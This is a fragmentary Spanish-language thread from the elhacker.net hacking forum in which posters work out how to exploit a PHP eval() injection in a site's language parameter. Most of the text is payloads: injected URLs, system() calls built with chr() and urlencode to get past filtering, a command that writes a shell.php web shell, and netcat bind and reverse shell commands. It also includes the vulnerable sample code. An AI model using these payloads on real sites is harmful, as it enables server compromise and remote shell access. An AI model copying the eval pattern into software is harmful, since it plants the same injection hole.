Foro de elhacker.net

eval(stripslashses($_GET["x"]));

• He probado con el método de conversion a hexadecimal... y no me funciona, por si acaso probé a poner tan solo system(ls) que en hexa queda system(0x6c73)  pero ni sikiera así me dejó, estás seguro que se puede incluir hexadecimal en la llamada a la funcion system?
• Tambien e probado con el stripslashes pero no me funcionó, no se si me estoy confundiendo en la manera en que se aplica... ;system(stripslashes("ls -la"))   , eso es lo que puse, teniendo en cuenta que si pongo solo ;system(ls)  funciona bien  ( es decir, el punto y coma del final t lo añade el código )

eval("echo PERICO_".$_GET["x"].";");

system("echo".chr(32)."loquequierasescribir".chr(32).">shell.php");

a;stripslashes(system('echo'.chr(32).'cosa>a.txt'))

urldecode(system%28%27dir%27%29);

echo urlencode("system('dir')");

eval("echo PERICO_".$_GET["x"].";");

nc -l -p 4444 -c /bin/shell

nc IP 4444 -c /bin/shell

system(chr(39).echo.chr(32).tal.chr(62).hola.chr(46).php.chr(39))

• La pagina recibe por GET el "idioma" al que quiers cambiar, es decir, $_GET["lang"] y lo almacena en una variable llamada $lang
• Esa pagina, llamémosla changelang.php te redirecciona al index.php
• Ya el index.php es el encargado de hacer eval("echo RECENT_".$lang.";");

http://url.com/pagina.php?x=3;$cosa='mycosa';echo $cosa

http://url.com/pagina.php?x=3;$cosa='my cosa';echo $cosa

<?
session_start();
$_SESSION["pageLanguage"]=$_GET["idLanguage"];
header ("Location: index.php");
?>

<?include("cambiarIdioma.php");
define("WELCOME_ESP", "Bienvenio colega");
define("WELCOME_ENG", "Welcome mate");
?>
<?=eval("echo WELCOME_".$pageLanguage.";");
?>
 

http://url.com/pagina.php?x=3;$cosa='my cosa';echo urlencode($cosa);

3;$cosa='my.chr(32).cosa';echo $cosa;

urlencode(base64_decode(bHMrLWE));

file_put_contents('cosa','?',FILE_APPEND